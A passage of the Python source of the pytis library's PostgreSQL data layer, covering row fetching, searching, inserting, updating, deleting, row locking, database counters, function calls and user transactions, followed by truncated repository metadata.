\"\"\"\n        if __debug__:\n            log(DEBUG, 'Fetching from selection:', position)\n        assert isinstance(position, int) or position in (FORWARD, BACKWARD), position\n        self._pg_maybe_restore_select()\n        buf = self._pg_buffer\n        row = buf.fetch(position)\n        if row is None:\n            # Keep to position at the edge when we got outside available data.\n            pos = buf.position()\n            if pos < -1:\n                buf.skip(-pos - 1, FORWARD)\n            else:\n                last = self._pg_number_of_rows_(pos)\n                if pos > last:\n                    buf.skip(pos - last, BACKWARD)\n        if __debug__:\n            log(DEBUG, 'Returned row:', row)\n        if self._pg_select_set_read_only:\n            self._pg_select_transaction.set_read_only()\n            self._pg_select_set_read_only = False\n        return row\n\n    def _pg_load_buffer(self, position, count):\n        count = min(count, max(0, self._pg_number_of_rows_(position + count) - position))\n        if count != 0:\n            # Only run SQL commands when necessary.\n            if isinstance(self._pg_number_of_rows, self._PgRowCounting):\n                self._pg_number_of_rows.stop()\n            transaction = self._pg_select_transaction\n            try:\n                self._pg_move(position, transaction=transaction)\n                row_data = self._pg_fetchmany(count, FORWARD, transaction=transaction)\n                self._pg_dbpointer = position + len(row_data)\n            except Exception:\n                cls, e, tb = sys.exc_info()\n                if not self._pg_select_user_transaction:\n                    try:\n                        transaction.rollback()\n                    except Exception:\n                        pass\n                self._pg_select_transaction = None\n                raise_(cls, e, tb)\n            if isinstance(self._pg_number_of_rows, self._PgRowCounting):\n                self._pg_number_of_rows.restart()\n        else:\n            row_data = None\n        if row_data:\n            mkrow, tmpl = self._pg_make_row_from_raw_data, self._pg_make_row_template_limited\n            rows = [mkrow([d], template=tmpl) for d in row_data]\n        else:\n            rows = []\n        return rows\n\n    def last_row_number(self):\n        self._pg_maybe_restore_select()\n        return self._pg_buffer.position()\n\n    def last_select_condition(self):\n        return self._pg_last_select_condition\n\n    def last_select_condition_sql(self):\n        return self._pdbb_condition2sql(self._pg_last_select_condition)\n\n    def skip(self, count, direction=FORWARD):\n        if __debug__:\n            log(DEBUG, 'Skipping rows:', (direction, count))\n        assert isinstance(count, (int, long)) and count >= 0, count\n        assert direction in (FORWARD, BACKWARD), direction\n        self._pg_maybe_restore_select()\n        buf = self._pg_buffer\n        position = buf.position()\n        if direction == FORWARD:\n            count = min(count, self._pg_number_of_rows_(position + count) - position)\n        else:\n            count = min(count, position + 1)\n        buf.skip(count, direction)\n        if __debug__:\n            log(DEBUG, 'Rows skipped:', count)\n        return count\n\n    def rewind(self):\n        self._pg_maybe_restore_select()\n        self._pg_buffer.rewind()\n\n    def search(self, condition, direction=FORWARD, transaction=None, arguments={}):\n        \"\"\"Vyhledej ve směru 'direction' první řádek od 'row' dle 'condition'.\n\n        Vrací: Vzdálenost od řádku 'row' jako kladný integer nebo 0, pokud\n        takový řádek neexistuje.\n\n        \"\"\"\n        if __debug__:\n            log(DEBUG, 'Searching row:', (condition, direction))\n        assert direction in (FORWARD, BACKWARD), ('Invalid direction', direction)\n        if __debug__:\n            self._pg_check_arguments(arguments)\n        self._pg_maybe_restore_select()\n        if self._arguments is not None and arguments is self.UNKNOWN_ARGUMENTS:\n            return 0\n        pos = self._pg_buffer.position()\n        row = self._pg_buffer.fetch(pos)\n        if not row and (pos < 0 and direction == BACKWARD or pos >= 0 and direction == FORWARD):\n            result = 0\n        else:\n            try:\n                result = self._pg_search(row, condition, direction,\n                                         transaction=transaction, arguments=arguments)\n            except Exception:\n                cls, e, tb = sys.exc_info()\n                if isinstance(self._pg_number_of_rows, self._PgRowCounting):\n                    try:\n                        self._pg_number_of_rows.stop()\n                    except Exception:\n                        pass\n                if not self._pg_select_user_transaction:\n                    try:\n                        self._pg_select_transaction.rollback()\n                    except Exception:\n                        pass\n                self._pg_select_transaction = None\n                raise_(cls, e, tb)\n        if __debug__:\n            log(DEBUG, 'Search result:', result)\n        return result\n\n    def close(self):\n        if __debug__:\n            log(DEBUG, 'Explicitly closing current select')\n        if self._pg_select_transaction is not None:\n            if isinstance(self._pg_number_of_rows, self._PgRowCounting):\n                self._pg_number_of_rows.stop()\n            self._pg_last_select_row_number = self._pg_buffer.position()\n            args = dict(selection=self._pdbb_selection_number)\n        if self._pg_select_transaction is not None and not self._pg_select_user_transaction:\n            try:\n                self._pg_select_transaction.commit()\n            except DBSystemException:  # e.g. after db engine restart\n                pass\n            self._pg_select_transaction = None\n        elif self._pg_select_transaction is not None:  # inside user transaction\n            if self._pg_select_transaction.open():\n                query = self._pdbb_command_close_select.update(args)\n                transaction = self._pg_select_transaction\n                try:\n                    self._pg_query(query, transaction=transaction)\n                except DBRetryException:\n                    # Do nothing when the connection is allready closed\n                    # (e.g. when db server closed connection because of long inactivity)\n                    pass\n        self._pg_select_transaction = None\n        # Flush cached data\n        self._pg_buffer.reset()\n\n    def select_active(self):\n        return self._pg_select_transaction is not None\n\n    def _insert_many(self, rows, after=None, before=None, transaction=None):\n        assert after is None or before is None, 'Both after and before specified'\n        rows = tuple(rows)\n        if not rows:\n            return (), True\n        if transaction is None:\n            self._pg_begin_transaction()\n        try:\n            # Jestliže je definováno ordering, které je součástí klíče, bude\n            # nově vložený řádek nutně unikátní.\n            if (((not self._ordering or (self._ordering[0] not in [c.id() for c in self.key()]))\n                 and self._pg_already_present_any(rows, transaction=transaction))):\n                msg = 'Row with this key already exists'\n                log(ACTION, msg)\n                result = msg, False\n            else:\n                positioned = after or before\n                if after:\n                    neighbor = after = self.row(after)\n                elif before:\n                    neighbor = before = self.row(before)\n                if positioned and (not neighbor):\n                    msg = 'Given neighbor row not found'\n                    log(ACTION, msg, (after, before))\n                    result = msg, False\n                else:\n                    r = self._pg_insert(rows, after=after, before=before, transaction=transaction)\n                    result = r, True\n        except Exception:\n            cls, e, tb = sys.exc_info()\n            try:\n                if transaction is None:\n                    self._pg_rollback_transaction()\n            except Exception:\n                pass\n            raise_(cls, e, tb)\n        if transaction is None:\n            self._pg_commit_transaction()\n            self._pg_send_notifications()\n        else:\n            transaction._trans_notify(self)\n        return result\n\n    def insert(self, row, after=None, before=None, transaction=None):\n        log(ACTION, 'Insert row:', (after, before))\n        if __debug__:\n            log(DEBUG, 'Inserted row:', row)\n        rows, success = self._insert_many((row,), after, before, transaction)\n        if success:\n            if len(rows) == 0:\n                row = None\n            else:\n                row = rows[0]\n            if __debug__:\n                log(DEBUG, 'Row inserted:', row)\n        else:\n            row = rows\n        return row, success\n\n    def insert_many(self, rows, after=None, before=None, transaction=None):\n        log(ACTION, 'Insert rows:', (len(rows), after, before))\n        if __debug__:\n            log(DEBUG, 'Inserted rows:', rows)\n        rows, success = self._insert_many(rows, after, before, transaction)\n        if success:\n            if __debug__:\n                log(DEBUG, 'Rows inserted:', rows)\n        return rows, success\n\n\n    def update(self, key, row, transaction=None):\n        key = xtuple(key)\n        log(ACTION, 'Update row:', key)\n        if __debug__:\n            log(DEBUG, 'New Data:', row)\n        if transaction is None:\n            self._pg_begin_transaction()\n        try:\n            origrow = self.row(key, transaction=transaction)\n            if origrow:\n                ordering = self._ordering\n                if ordering:\n                    row = copy.copy(row)\n                    for id in ordering:\n                        try:\n                            row[id] = origrow[id]\n                        except KeyError:\n                            row.append(id, origrow[id])\n                keys = [c.id() for c in self.key()]\n                new_key = []\n                for i in range(len(keys)):\n                    try:\n                        v = row[keys[i]]\n                    except KeyError:\n                        v = key[i]\n                    new_key.append(v)\n                new_key = tuple(new_key)\n                if new_key != key and self._pg_already_present(row):\n                    msg = 'Row with given key already exists'\n                    log(ACTION, msg, key)\n                    result = msg, False\n                else:\n                    n = self._pg_update(self._pg_key_condition(key), row,\n                                        transaction=transaction)\n                    if n == 0:\n                        result = None, False\n                    else:\n                        new_row = self.row(new_key, transaction=transaction)\n                        result = new_row, True\n            else:  # not origrow\n                msg = 'Row with given key does not exist'\n                log(ACTION, msg, key)\n                result = msg, False\n        except Exception:\n            cls, e, tb = sys.exc_info()\n            try:\n                if transaction is None:\n                    self._pg_rollback_transaction()\n            except Exception:\n                pass\n            raise_(cls, e, tb)\n        if transaction is None:\n            self._pg_commit_transaction()\n            self._pg_send_notifications()\n        else:\n            transaction._trans_notify(self)\n        if result[1]:\n            if __debug__:\n                log(DEBUG, 'Row updated:', result)\n        return result\n\n    def update_many(self, condition, row, transaction=None):\n        log(ACTION, 'Update rows:', condition)\n        if __debug__:\n            log(DEBUG, 'New data:', str(row))\n        if transaction is None:\n            self._pg_begin_transaction()\n        try:\n            ordering = self._ordering\n            if ordering:\n                new_row_items = []\n                for k, v in row.items():\n                    if k not in ordering:\n                        new_row_items.append((k, v))\n                row = Row(new_row_items)\n            result = self._pg_update(condition, row, transaction=transaction)\n        except Exception:\n            cls, e, tb = sys.exc_info()\n            try:\n                if transaction is None:\n                    self._pg_rollback_transaction()\n            except Exception:\n                pass\n            raise_(cls, e, tb)\n        if transaction is None:\n            self._pg_commit_transaction()\n            self._pg_send_notifications()\n        else:\n            transaction._trans_notify(self)\n        if result:\n            if __debug__:\n                log(DEBUG, 'Rows updated:', result)\n        return result\n\n    def delete(self, key, transaction=None):\n        log(ACTION, 'Delete row:', key)\n        if transaction is None:\n            self._pg_begin_transaction()\n        try:\n            result = self._pg_delete(self._pg_key_condition(key),\n                                     transaction=transaction)\n        except Exception:\n            cls, e, tb = sys.exc_info()\n            try:\n                if transaction is None:\n                    self._pg_rollback_transaction()\n            except Exception:\n                pass\n            raise_(cls, e, tb)\n        if transaction is None:\n            self._pg_commit_transaction()\n            self._pg_send_notifications()\n        else:\n            transaction._trans_notify(self)\n        if __debug__:\n            log(DEBUG, 'Row deleted:', result)\n        return result\n\n    def delete_many(self, condition, transaction=None):\n        log(ACTION, 'Delete rows:', condition)\n        if transaction is None:\n            self._pg_begin_transaction()\n        try:\n            result = self._pg_delete(condition, transaction=transaction)\n        except Exception:\n            cls, e, tb = sys.exc_info()\n            try:\n                if transaction is None:\n                    self._pg_rollback_transaction()\n            except Exception:\n                pass\n            raise_(cls, e, tb)\n        if transaction is None:\n            self._pg_commit_transaction()\n            self._pg_send_notifications()\n        else:\n            transaction._trans_notify(self)\n        if __debug__:\n            log(DEBUG, 'Rows deleted:', result)\n        return result\n\n    def refresh(self, concurrently=True):\n        \"\"\"Refresh materialized view.\n\n        Arguments:\n\n          concurrently -- True if refresh should be done concurrently\n\n        This method may be invoked only on materialized views.\n\n        \"\"\"\n        self.close()\n        concurrently_string = (\" CONCURRENTLY\" if concurrently else \"\")\n        args = dict(concurrently=_Query(concurrently_string))\n        self._pg_query(self._pdbb_command_refresh.update(args))\n\n    # Locking\n\n    def lock_row(self, key, transaction=None):\n        \"\"\"Lock row with the given key.\n\n        Arguments:\n\n          key -- key of the row to lock\n          transaction -- transaction object representing the transaction in\n            which the row is locked\n\n        The lock is automatically released when the transaction is closed\n        (whether by commit or rollback).\n\n        \"\"\"\n        if is_sequence(key):\n            key = key[0]\n        log(EVENT, 'Locking row:', str(key))\n        self._pg_query(_Query('savepoint _lock'), transaction=transaction)\n        try:\n            command = self._pdbb_command_lock()\n            if command:         # special locking command necessary\n                command = command.update(dict(key=key))\n                result = self._pg_query(command, transaction=transaction)\n            else:\n                result = self._pg_row(key, None, transaction=transaction,\n                                      supplement='for update nowait')\n            self._pg_query(_Query('release _lock'), transaction=transaction)\n            if not result:\n                return \"No such record\"\n        except DBLockException:\n            log(EVENT, 'Row already locked by another process')\n            self._pg_query(_Query('rollback to _lock'), transaction=transaction)\n            return \"Record locked by another process\"\n        log(EVENT, 'Row locked')\n        return None\n\n\nclass DBPostgreSQLCounter(PostgreSQLConnector, Counter):\n    \"\"\"Čítač uložený v PostgreSQL.\"\"\"\n\n    def __init__(self, name, connection_data, **kwargs):\n        \"\"\"Initialize the instance.\n\n        Arguments:\n          name -- identifier of the counter in the database as a string\n          connection_data -- instance třídy 'DBConnection' definující\n            parametry připojení, nebo funkce bez argumentů vracející takovou\n            instanci 'DBConnection'\n          kwargs -- passed to 'PostgreSQLConnector' constructor.\n\n        \"\"\"\n        assert isinstance(name, basestring)\n        PostgreSQLConnector.__init__(self, connection_data, **kwargs)\n        self._name = name\n        self._query = _Query(\"select nextval('%s')\" % name)\n\n    def next(self, transaction=None):\n        result = self._pg_query(self._query, transaction=transaction)\n        try:\n            number = int(result[0][0])\n        except Exception as e:\n            raise pytis.data.DBException(_(u\"Invalid database counter value\"), e)\n        return number\n\n\nclass DBPostgreSQLFunction(Function, DBDataPostgreSQL,\n                           PostgreSQLStandardBindingHandler):\n    \"\"\"PostgreSQL implementation of the 'Function' class.\"\"\"\n\n    def __init__(self, name, connection_data, result_columns=None, **kwargs):\n        \"\"\"\n        Arguments:\n\n          name -- name of the function (string) or database specification class\n            corresponding to the function\n          connection_data -- instance třídy 'DBConnection' definující\n            parametry připojení, nebo funkce bez argumentů vracející takovou\n            instanci 'DBConnection'\n          result_columns -- sequence of 'ColumnSpec' instances describing the result\n            rows; if 'None', columns and their types are determined\n            automatically but only if it is possible and supported\n          kwargs -- forwarded to successors\n\n        \"\"\"\n        from pytis.data.gensqlalchemy import SQLFunctional\n        assert isinstance(name, basestring) or issubclass(name, SQLFunctional), name\n        db_spec = name\n        if isinstance(name, basestring):\n            candidates = list(pytis.data.gensqlalchemy.specifications_by_name(name))\n            if len(candidates) == 1 and issubclass(candidates[0], SQLFunctional):\n                db_spec = candidates[0]\n        if isinstance(db_spec, basestring):\n            self._name = name\n            db_spec = None\n        else:\n            self._name = db_spec.pytis_name(real=True)\n            if result_columns is None:\n                result_columns = db_spec.result_type\n                if result_columns is None:\n                    result_columns = []\n                elif not isinstance(result_columns, (tuple, list)):\n                    if isinstance(result_columns, Type):\n                        result_columns = [ColumnSpec('_result', result_columns)]\n                    elif isinstance(result_columns, ColumnSpec):\n                        result_columns = [result_columns]\n                    elif result_columns == pytis.data.gensqlalchemy.SQLFunctional.RECORD:\n                        result_columns = [c for c in db_spec.arguments if c.out()]\n                    elif hasattr(result_columns, 'fields'):\n                        result_columns = result_columns.fields\n                    else:\n                        result_columns = None\n                        db_spec = None\n        self._pdbb_result_columns = result_columns\n        bindings = ()\n        super(DBPostgreSQLFunction, self).__init__(\n            bindings=bindings, key=bindings, connection_data=connection_data, db_spec=db_spec,\n            **kwargs)\n        if self._pdbb_db_spec is None:\n            arg_query = _Query(\"select proargtypes from pg_proc where proname=%(name)s\",\n                               dict(name=sval(name)))\n            data = self._pg_query(arg_query, outside_transaction=True)\n            arguments = ', '.join(['%%(__farg%d)s' % (i,) for i in range(len(data[0][0].split()))])\n        else:\n            def arg_spec(arg):\n                return '%%s' if isinstance(arg, Binary) else '%s'\n            arguments = ', '.join(['%%(__farg%d)s' % (i,)\n                                   for i in range(len(self._pdbb_db_spec.arguments))\n                                   if not self._pdbb_db_spec.arguments[i].out()])\n        self._pdbb_function_call = 'select * from %s(%s)' % (self._name, arguments)\n\n    def _db_bindings_to_column_spec(self, __bindings):\n        if self._pdbb_result_columns is not None:\n            return self._pdbb_result_columns, ()\n        if self._pdbb_db_spec is not None:\n            columns = [ColumnSpec(b.id(), b.type()) for b in self._bindings]\n        else:\n            schema, name = self._pdbb_split_function_name(self._name)\n            type_query = _Query(\"select proretset, prorettype, proargtypes \"\n                                \"from pg_proc, pg_namespace \"\n                                \"where pg_proc.pronamespace = pg_namespace.oid and \"\n                                \"pg_namespace.nspname = %(schema)s and proname = %(name)s\",\n                                dict(schema=sval(schema), name=sval(name)))\n            self._pg_begin_transaction()\n            try:\n                data = self._pg_query(type_query)\n                assert data, ('No such function', self._name)\n                assert len(data) == 1, ('Overloaded functions not supported', self._name)\n                r_set, r_type, arg_types = data[0]\n\n                def type_instances(tnum):\n                    query = _Query(\"select typname, nspname, typlen, typtype \"\n                                   \"from pg_type join \"\n                                   \"pg_namespace on typnamespace = pg_namespace.oid \"\n                                   \"where pg_type.oid = %(oid)s\",\n                                   dict(oid=ival(tnum)))\n                    data = self._pg_query(query)\n                    type_, type_ns, size_string, t_type = data[0]\n                    if t_type == 'b':\n                        instances = [self._pdbb_get_type(type_, size_string)]\n                    elif t_type == 'c':\n                        table = '%s.%s' % (type_ns, type_,)\n                        table_data = self._pdbb_get_table_column_data(table)\n                        instances = [self._pdbb_get_table_type(table, i)\n                                     for i in range(len(table_data.basic()))]\n                    elif type_ == 'void':\n                        instances = []\n                    else:\n                        raise Exception((\"Unsupported function return type, \"\n                                         \"use explicit column specification:\"),\n                                        '%s.%s' % (type_ns, type_,))\n                    return instances\n                r_type_instances = type_instances(r_type)\n                columns = [ColumnSpec('column%d' % (i + 1,), r_type_instances[i])\n                           for i in range(len(r_type_instances))]\n            finally:\n                self._pg_commit_transaction()\n        return columns, ()\n\n    def _pdbb_create_sql_commands(self):\n        self._pg_notifications = []\n\n    def call(self, row, transaction=None):\n        log(EVENT, 'Function call:', self._name)\n        args = dict([('__farg%d' % (i,), row[i]) for i in range(len(row))])\n        if transaction is None:\n            outside_transaction = True\n        else:\n            outside_transaction = False\n        data = self._pg_query(_Query(self._pdbb_function_call, args),\n                              transaction=transaction,\n                              outside_transaction=outside_transaction)\n        if transaction is None:\n            self._pg_query(_Query('commit'), outside_transaction=outside_transaction)\n        result = [self._pg_make_row_from_raw_data([r]) for r in data]\n        log(EVENT, 'Function call result:', (self._name, result))\n        return result\n\n\nclass DBPostgreSQLTransaction(DBDataPostgreSQL):\n    \"\"\"User transaction.\n\n    By creating an instance of this class new transaction is started.  You can\n    tell 'DBDataPostgreSQL' methods to be invoked inside the transaction by\n    giving the instance as their 'transaction' argument.\n\n    The transaction is finished by calling one of its 'commit' or 'rollback'\n    methods.  After that the transaction may not be used any longer.\n\n    You can also use partial rollbacks by setting transaction points with the\n    'set_point' method and calling the 'cut' method to rollback to a previously\n    set transaction point.\n\n    \"\"\"\n\n    REPEATABLE_READ = 'repeatable read'\n\n    _watched_transactions = weakref.WeakSet()\n    _trans_last_check = {}\n    _trans_check_interval = None\n\n    def __init__(self, connection_data, isolation=None, read_only=False, timeout_callback=None,\n                 ok_rollback_closed=False, **kwargs):\n        \"\"\"\n        Arguments:\n\n          connection_data -- instance třídy 'DBConnection' definující\n            parametry připojení, nebo funkce bez argumentů vracející takovou\n            instanci 'DBConnection'\n          isolation -- transaction isolation level, either 'None' (default\n            isolation level, i.e. read commited) or 'REPEATABLE_READ' constant of\n            this class (repeatable read isolation level)\n          read_only -- whether the transaction is read-only; boolean\n          timeout_callback -- function to be called on transaction timeout or 'None';\n            the function is called with no arguments\n          ok_rollback_closed -- iff true, don't complain about rollbacking\n            closed transactions\n\n        \"\"\"\n        super(DBPostgreSQLTransaction, self).__init__(\n            bindings=(), key=(), connection_data=connection_data,\n            **kwargs)\n        if timeout_callback is None:\n            if pytis.config.debug:\n                def timeout_callback(self=self):\n                    log(DEBUG, \"Unhandled transaction timeout\",\n                        self._trans_connection().connection_info('transaction_commands'))\n        self._trans_timeout_callback = timeout_callback\n        self._trans_notifications = []\n        self._pg_begin_transaction(isolation=isolation, read_only=read_only)\n        self._open = True\n        assert isinstance(ok_rollback_closed, bool), ok_rollback_closed\n        self._ok_rollback_closed = ok_rollback_closed\n        if timeout_callback is not None:\n            self._pid = os.getpid()\n            DBPostgreSQLTransaction._watched_transactions.add(self)\n\n    def __del__(self):\n        if self._open:\n            try:\n                self._pg_close_transaction()\n            except Exception:\n                pass\n\n    def _db_bindings_to_column_spec(self, __bindings):\n        return (), ()\n\n    def _pdbb_create_sql_commands(self):\n        self._pdbb_command_isolation = _Query('set transaction isolation level %(isolation)s'\n                                              '%(read_only)s')\n\n    def _trans_connection(self):\n        return self._pg_get_connection()[0]\n\n    def _trans_notify(self, dbdata):\n        self._trans_notifications.append(dbdata)\n\n    def commit(self):\n        \"\"\"Commit the transaction.\"\"\"\n        if not self._open:\n            log(EVENT, \"Attempt to commit closed transaction\")\n            return\n        self._pg_commit_transaction()\n        self._open = False\n        for dbdata in self._trans_notifications:\n            dbdata._pg_send_notifications()\n\n    def rollback(self):\n        \"\"\"Rollback the transaction.\"\"\"\n        if not self._open:\n            if not self._ok_rollback_closed:\n                log(EVENT, \"Attempt to rollback closed transaction\")\n            return\n        self._pg_rollback_transaction()\n        self._open = False\n\n    def set_point(self, point):\n        \"\"\"Set transaction point for possible future partial rollback.\n\n        Arguments:\n\n          point -- string containing only lowercase English letters defining\n            the transaction point\n\n        \"\"\"\n        assert re.match('^[a-z]+$', point)\n        self._pg_query(_Query('savepoint %s' % (point,)), transaction=self)\n\n    def cut(self, point):\n        \"\"\"Rollback the transaction to the given point.\n\n        Arguments:\n\n          point -- string containing only lowercase English letters defining\n            the transaction point to which the rollback should be performed\n\n        \"\"\"\n        assert re.match('^[a-z]+$', point)\n        self._pg_query(_Query('rollback to %s' % (point,)), transaction=self)\n        self._pg_query(_Query('release %s' % (point,)), transaction=self)\n\n    def set_read_only(self):\n        \"\"\"Make the transaction read-only.\n\n        Usually, the transaction should be marked as read-only using\n        'read_only' constructor argument.  But in some situations, such as with\n        cursors calling functions utilizing temporary tables, this is not\n        possible and the transaction can be set as read-only only after the\n        database modifying operation, using this method.\n\n        \"\"\"\n        self._pg_query(_Query('set transaction read only'), transaction=self)\n\n    def open(self):\n        \"\"\"Return true iff the transaction is open and hasn't been closed yet.\"\"\"\n        return self._open\n\n    def set_max_age(self, moment):\n        \"\"\"Set maximum transaction age.\n\n        Calling the method has the same effect on transaction age as if an SQL\n        command was called at 'moment'.\n\n        Arguments:\n\n          moment -- minimum time to set in the same form as 'time.time()'\n            result\n\n        \"\"\"\n        c = self._trans_connection()\n        value = max(c.connection_info('last_query_time') or 0, moment)\n        c.set_connection_info('last_query_time', value)\n\n    @classmethod\n    def close_transactions(class_):\n        \"\"\"Check all transactions for timeout.\n\n        Call timeout callbacks for timeouted transactions.\n\n        \"\"\"\n        T = DBPostgreSQLTransaction\n        if T._trans_check_interval is None:\n            T._trans_max_time = pytis.config.max_transaction_time\n            if T._trans_max_time is None:\n                T._trans_max_time = 100000000\n            T._trans_max_idle_time = pytis.config.max_transaction_idle_time\n            if T._trans_max_idle_time is None:\n                T._trans_max_idle_time = 100000000\n            T._trans_check_interval = \\\n                max(1, min(T._trans_max_time, T._trans_max_idle_time) // 3)\n        now = time.time()\n        pid = os.getpid()\n        if now - T._trans_last_check.get(pid, 0) >= T._trans_check_interval:\n            T._trans_last_check[pid] = now\n            for t in set(class_._watched_transactions):\n                if t._open and t._pid == pid:\n                    callback = t._trans_timeout_callback\n                    if callback is None:\n                        continue\n                    c = t._trans_connection()\n                    if ((now - c.connection_info('transaction_start_time') > t._trans_max_time or\n                         now - c.connection_info('last_query_time') > t._trans_max_idle_time)):\n                        try:\n                            callback()\n                        except Exception:\n                            # The callback may crash if the wx class is already inactive.\n                            try:\n                                class_._watched_transactions.remove(t)\n                            except KeyError:\n                                pass\n", "repo_name": "cerha/pytis", "sub_path": "lib/pytis/data/postgresql.py", "file_name": "postgresql.py", "file_ext": "py", "file_size_in_byte": 173288, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "pytis.data.util.translations", "line_number": 33, "usage_type": "call"}, {"api_name": "pytis.data.util", "line_number": 33, "usage_type": "attribute"}, {"api_name": "pytis.data", "line_number": 33, "usage_type": "name"}, {"api_name": "builtins.object", "line_number": 40, "usage_type": "name"}, {"api_name": "pytis.data.Array", "line_number": 57, "usage_type": "argument"}, {"api_name": "pytis.data.Binary", "line_number": 59, "usage_type": "argument"}, {"api_name": "sys.version_info", "line_number": 59, "usage_type": "attribute"}, {"api_name": "builtins.object", "line_number": 76, "usage_type": "name"}, {"api_name": "past.builtins.basestring", "line_number": 81, "usage_type": "argument"}, {"api_name": "pytis.data.Value", "line_number": 86, "usage_type": "name"}, {"api_name": "copy.copy", "line_number": 88, "usage_type": "call"}, {"api_name": "copy.copy", "line_number": 103, "usage_type": "call"}, {"api_name": "past.builtins.basestring", "line_number": 104, "usage_type": "argument"}, {"api_name": "copy.copy", "line_number": 119, "usage_type": "call"}, {"api_name": "copy.copy", "line_number": 124, "usage_type": "call"}, {"api_name": "copy.copy", "line_number": 141, "usage_type": "call"}, {"api_name": "pytis.data.Value", "line_number": 154, "usage_type": "argument"}, {"api_name": "sys.version_info", "line_number": 174, "usage_type": "attribute"}, {"api_name": "past.builtins.basestring", "line_number": 174, "usage_type": "argument"}, {"api_name": "sys.version_info", "line_number": 175, "usage_type": "attribute"}, {"api_name": "sys.version_info", "line_number": 177, "usage_type": "attribute"}, {"api_name": "sys.version_info", "line_number": 178, "usage_type": "attribute"}, {"api_name": "pytis.data.Value", "line_number": 187, "usage_type": "argument"}, {"api_name": "past.builtins.basestring", "line_number": 189, "usage_type": "argument"}, {"api_name": "copy.copy", "line_number": 228, "usage_type": "call"}, {"api_name": "copy.copy", "line_number": 241, "usage_type": "call"}, {"api_name": "builtins.object", "line_number": 246, "usage_type": "name"}, {"api_name": "pytis.util.object_2_5", "line_number": 305, "usage_type": "name"}, {"api_name": "builtins.object", "line_number": 319, "usage_type": "name"}, {"api_name": "weakref.WeakSet", "line_number": 322, "usage_type": "call"}, {"api_name": "time.time", "line_number": 362, "usage_type": "call"}, {"api_name": "builtins.object", "line_number": 368, "usage_type": "name"}, {"api_name": "pytis.util.ProgramError", "line_number": 415, "usage_type": "call"}, {"api_name": "pytis.data.sval", "line_number": 463, "usage_type": "call"}, {"api_name": "pytis.data.DBUserException", "line_number": 468, "usage_type": "name"}, {"api_name": "pytis.util.UNDEFINED", "line_number": 473, "usage_type": "argument"}, {"api_name": "pytis.util.UNDEFINED", "line_number": 475, "usage_type": "name"}, {"api_name": "pytis.data.util.rsa_encrypt", "line_number": 477, "usage_type": "call"}, {"api_name": "pytis.data.util", "line_number": 477, "usage_type": "attribute"}, {"api_name": "pytis.data", "line_number": 477, "usage_type": "name"}, {"api_name": "pytis.data.sval", "line_number": 482, "usage_type": "call"}, {"api_name": "pytis.data.DBUserException", "line_number": 486, "usage_type": "name"}, {"api_name": "pytis.data.config", "line_number": 501, "usage_type": "attribute"}, {"api_name": "pytis.data", "line_number": 501, "usage_type": "name"}, {"api_name": "pytis.data.config", "line_number": 503, "usage_type": "attribute"}, {"api_name": "pytis.data", "line_number": 503, "usage_type": "name"}, {"api_name": "past.builtins.basestring", "line_number": 504, "usage_type": "argument"}, {"api_name": "pytis.util.ProgramError", "line_number": 525, "usage_type": "call"}, {"api_name": "pytis.util.ProgramError", "line_number": 537, "usage_type": "call"}, {"api_name": "pytis.data.config", "line_number": 594, "usage_type": "attribute"}, {"api_name": "pytis.data", "line_number": 594, "usage_type": "name"}, {"api_name": "pytis.data.config", "line_number": 595, "usage_type": "attribute"}, {"api_name": "pytis.data", "line_number": 595, "usage_type": "name"}, {"api_name": "pytis.data.DBConnectionPool", "line_number": 604, "usage_type": "call"}, {"api_name": "pytis.data.DBConnection", "line_number": 606, "usage_type": "argument"}, {"api_name": "_thread.allocate_lock", "line_number": 614, "usage_type": "call"}, {"api_name": "pytis.data.DBUserException", "line_number": 671, "usage_type": "call"}, {"api_name": "pytis.util.log", "line_number": 677, "usage_type": "call"}, {"api_name": "pytis.util.DEBUG", "line_number": 677, "usage_type": "argument"}, {"api_name": "pytis.util.Locked", "line_number": 678, "usage_type": "call"}, {"api_name": "pytis.data.DBRetryException", "line_number": 685, "usage_type": "name"}, {"api_name": "pytis.util.log", "line_number": 713, "usage_type": "call"}, {"api_name": "pytis.util.DEBUG", "line_number": 713, "usage_type": "argument"}, {"api_name": "pytis.data.config.dbconnection.set_crypto_password", "line_number": 730, "usage_type": "call"}, {"api_name": "pytis.data.config", "line_number": 730, "usage_type": "attribute"}, {"api_name": "pytis.data", "line_number": 730, "usage_type": "name"}, {"api_name": "pytis.data.config", "line_number": 731, "usage_type": "attribute"}, {"api_name": "pytis.data", "line_number": 731, "usage_type": "name"}, {"api_name": "pytis.util.UNDEFINED", "line_number": 740, "usage_type": "name"}, {"api_name": "pytis.util.log", "line_number": 766, "usage_type": "call"}, {"api_name": "pytis.util.DEBUG", "line_number": 766, "usage_type": "argument"}, {"api_name": "pytis.util.log", "line_number": 771, "usage_type": "call"}, {"api_name": "pytis.util.DEBUG", "line_number": 771, "usage_type": "argument"}, {"api_name": "pytis.util.UNDEFINED", "line_number": 789, "usage_type": "name"}, {"api_name": "pytis.data.config", "line_number": 791, "usage_type": "attribute"}, {"api_name": "pytis.data", "line_number": 791, "usage_type": "name"}, {"api_name": "pytis.data.dbtable", "line_number": 794, "usage_type": "call"}, {"api_name": "pytis.data.EQ", "line_number": 798, "usage_type": "call"}, {"api_name": "pytis.data.Value", "line_number": 799, "usage_type": "call"}, {"api_name": "pytis.data.String", "line_number": 799, "usage_type": "call"}, {"api_name": "pytis.data.config", "line_number": 802, "usage_type": "attribute"}, {"api_name": "pytis.data", "line_number": 802, "usage_type": "name"}, {"api_name": "builtins.range", "line_number": 805, "usage_type": "call"}, {"api_name": "pytis.data.dbtable", "line_number": 817, "usage_type": "call"}, {"api_name": "pytis.data.DBException", "line_number": 818, "usage_type": "name"}, {"api_name": "pytis.util.UNDEFINED", "line_number": 832, "usage_type": "argument"}, {"api_name": "pytis.util.UNDEFINED", "line_number": 833, "usage_type": "name"}, {"api_name": "pytis.data.data.default_access_groups", "line_number": 844, "usage_type": "call"}, {"api_name": "pytis.data.data", "line_number": 844, "usage_type": "attribute"}, {"api_name": "pytis.data", "line_number": 844, "usage_type": "name"}, {"api_name": "pytis.util.log", "line_number": 866, "usage_type": "call"}, {"api_name": "pytis.util.DEBUG", "line_number": 866, "usage_type": "argument"}, {"api_name": "_thread.allocate_lock", "line_number": 869, "usage_type": "call"}, {"api_name": "weakref.WeakKeyDictionary", "line_number": 870, "usage_type": "call"}, {"api_name": "_thread.allocate_lock", "line_number": 871, "usage_type": "call"}, {"api_name": "_thread.start_new_thread", 